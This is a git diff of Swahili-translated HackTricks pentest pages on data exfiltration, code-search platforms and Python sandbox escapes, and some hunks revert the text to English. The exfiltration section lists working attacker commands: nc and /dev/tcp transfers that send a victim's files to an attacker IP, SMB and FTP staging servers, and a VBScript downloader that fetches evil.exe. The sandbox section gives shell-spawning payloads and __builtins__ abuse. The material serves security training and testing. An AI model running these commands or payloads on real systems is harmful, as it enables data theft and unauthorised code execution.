|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,33 +1,25 @@
|
|||
# Kufyonza
|
||||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
## Commonly whitelisted domains to exfiltrate information
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Vyanzo vya kawaida vilivyoorodheshwa kwa ajili ya kufyonza taarifa
|
||||
|
||||
Angalia [https://lots-project.com/](https://lots-project.com/) ili kupata vyanzo vya kawaida vilivyoorodheshwa ambavyo vinaweza kutumiwa vibaya
|
||||
|
||||
## Nakili\&Banda la Msingi wa 64
|
||||
## Copy\&Paste Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
|
@ -63,11 +55,11 @@ Start-BitsTransfer -Source $url -Destination $output
|
|||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Pakia faili
|
||||
### Upload files
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Moduli wa Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
* Moduli ya Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
python3 -m pip install --user uploadserver
|
||||
|
|
@ -80,7 +72,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
|||
# With basic auth:
|
||||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||
```
|
||||
### **Seva ya HTTPS**
|
||||
### **HTTPS Server**
|
||||
```python
|
||||
# from https://gist.github.com/dergachev/7028596
|
||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||
|
|
@ -123,17 +115,17 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
```
|
||||
## FTP
|
||||
|
||||
### Seva ya FTP (python)
|
||||
### FTP server (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### Seva ya FTP (NodeJS)
|
||||
### FTP server (NodeJS)
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### Seva ya FTP (pure-ftp)
|
||||
### FTP server (pure-ftp)
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
|
@ -151,7 +143,7 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Mteja wa Windows**
|
||||
### **Windows** mteja
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
|
@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt
|
|||
```
|
||||
## SMB
|
||||
|
||||
Kali kama server
|
||||
Kali kama seva
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Au tengeneza sehemu ya smb **kwa kutumia samba**:
|
||||
Au tengeneze sehemu ya smb **kwa kutumia samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
|
@ -186,7 +178,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
Windows ni mfumo wa uendeshaji uliotengenezwa na Microsoft. Ni mojawapo ya mifumo maarufu zaidi duniani kwa kompyuta za kibinafsi.
|
||||
Windows
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
|
@ -196,41 +188,38 @@ WindPS-2> cd new_disk:
|
|||
```
|
||||
## SCP
|
||||
|
||||
Mshambuliaji lazima awe na SSHd inayofanya kazi.
|
||||
Mshambuliaji lazima awe na SSHd ikifanya kazi.
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
Ikiwa muathiriwa ana SSH, mkaidi anaweza kufunga saraka kutoka kwa muathiriwa kwenda kwa mkaidi.
|
||||
Ikiwa mwathiriwa ana SSH, mshambuliaji anaweza kuunganisha saraka kutoka kwa mwathiriwa hadi kwa mshambuliaji.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
### Swahili Translation
|
||||
## NC
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### Pakua faili kutoka kwa muathiriwa
|
||||
### Pakua faili kutoka kwa mwathirika
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Pakia faili kwa muathiriwa
|
||||
### Pakia faili kwa mwathiriwa
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
Asante kwa **@BinaryShadow\_**
|
||||
asante kwa **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
```bash
|
||||
|
|
@ -252,44 +241,41 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ili kupokea data na python:
|
||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Kwa chaguo-msingi katika XP na 2003 (katika wengine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
||||
Kwa default katika XP na 2003 (katika zingine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
||||
|
||||
Katika Kali, **anzisha seva ya TFTP**:
|
||||
Katika Kali, **anza TFTP server**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Server ya TFTP kwa kutumia python:**
|
||||
**TFTP server katika python:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
Katika **mwendwa**, unganisha kwenye seva ya Kali:
|
||||
Katika **victim**, ungana na seva ya Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Pakua faili kwa PHP oneliner:
|
||||
Pakua faili kwa kutumia PHP oneliner:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
### Swahili Translation
|
||||
## VBScript
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
**Mnajisi**
|
||||
**Mtu waathirika**
|
||||
```bash
|
||||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||||
|
|
@ -323,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Walakini, ni muhimu kufahamu kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
|
||||
Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga tena kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuunda faili la binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha kuunda faili hadi ukubwa wa 64 kb**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
```markdown
|
||||
Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
||||
Kisha nakili-na-kupaste maandiko kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
|
@ -338,24 +323,17 @@ Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.e
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,59 +1,45 @@
|
|||
# Kutafuta Kanuni za Chanzo Kwa Upana
|
||||
# Wide Source Code Search
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
Lengo la ukurasa huu ni kuorodhesha **majukwaa yanayoruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos katika jukwaa moja au zaidi.
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Hii inasaidia katika matukio kadhaa kutafuta **habari zilizovuja** au kwa mifumo ya **udhaifu**.
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta kanuni** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi.
|
||||
|
||||
Hii husaidia katika hali kadhaa za **kutafuta taarifa zilizovuja** au kwa **mifano ya vulnerabilities**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes.
|
||||
* [**Github Search**](https://github.com/search): Tafuta kote Github. Inasaidia regexes.
|
||||
* Labda ni muhimu pia kuangalia [**Github Code Search**](https://cs.github.com/).
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika maelfu ya repos. Kuna toleo la bure na toleo la biashara (pamoja na siku 15 za bure). Inasaidia regexes.
|
||||
* [**Github Search**](https://github.com/search): Tafuta katika Github. Inasaidia regexes.
|
||||
* Labda pia ni muhimu kuangalia [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Tafuta kanuni katika miradi mamilioni.
|
||||
* [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika mamilioni ya miradi.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa na ** matawi mengine na commits nyingine** zinazohifadhi siri!
|
||||
Unapofanya utafutaji wa habari zilizovuja katika repo na kukimbiza kitu kama `git log -p` usisahau kunaweza kuwa na **matawi mengine yenye commits nyingine** yanayoshikilia siri!
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,15 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za sanduku la python na kutekeleza amri zisizo na mipaka.
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za sandbox za python na kutekeleza amri zisizo na mipaka.
|
||||
|
||||
## Maktaba za Kutekeleza Amri
|
||||
|
||||
|
|
@ -75,7 +67,7 @@ Python hujaribu **kuchota maktaba kutoka kwa saraka ya sasa kwanza** (amri ifuat
|
|||
### Pakiti za default
|
||||
|
||||
Unaweza kupata **orodha ya pakiti zilizowekwa awali** hapa: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba zisizo za kawaida** zilizowekwa katika mfumo.\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba yoyote** iliyowekwa kwenye mfumo.\
|
||||
Kwa mfano, pickle ifuatayo, itakapochukuliwa, itakuwa inagiza maktaba ya pip kuitumia:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
|
|
@ -255,9 +247,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
|||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Kuunda vitu kwa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Jambo kuu ambalo metaclasses yanatufanya tufanye ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
Jambo muhimu ambalo metaclasses linatufanya ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
|
@ -330,7 +322,7 @@ pass
|
|||
* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ikiwa unaweza kufikia kituo cha **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa mfuatano ulioonyeshwa katika sehemu ya mwisho):
|
||||
Ikiwa unaweza kufikia kituo cha **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa maandiko ulioonyeshwa katika sehemu ya mwisho):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
|
@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
Wakati huna `__builtins__` huwezi kuweza kuagiza chochote wala hata kusoma au kuandika faili kwani **kazi zote za kimataifa** (kama `open`, `import`, `print`...) **hazijapakiwa**.\
|
||||
Hata hivyo, **kwa kawaida python inaagiza moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia zinaagiza** kazi hatari ndani yao ambazo zinaweza kufikiwa ili kupata hata **utendaji wa msimbo wa kiholela**.
|
||||
|
||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kukandamiza** baadhi ya hizi moduli "**salama**" zilizopakiwa ili **kufikia** **kazi** **hatari** ndani yao.
|
||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kudhulumu** baadhi ya hizi moduli "**salama**" zilizopakiwa ili **kufikia** **kazi** **hatari** ndani yao.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
|
@ -424,9 +416,9 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Hapa kuna kazi kubwa zaidi**](./#recursive-search-of-builtins-globals) ya kutafuta makumi/**mamia** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
[**Hapa kuna kazi kubwa zaidi**](./#recursive-search-of-builtins-globals) ya kutafuta makumi/**miyamoja** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
|
||||
## Gundua Utendaji wa Kijinga
|
||||
## Gundua Utendaji wa Kijichochezi
|
||||
|
||||
Hapa nataka kuelezea jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mashambulizi ya kuaminika zaidi.
|
||||
|
||||
|
|
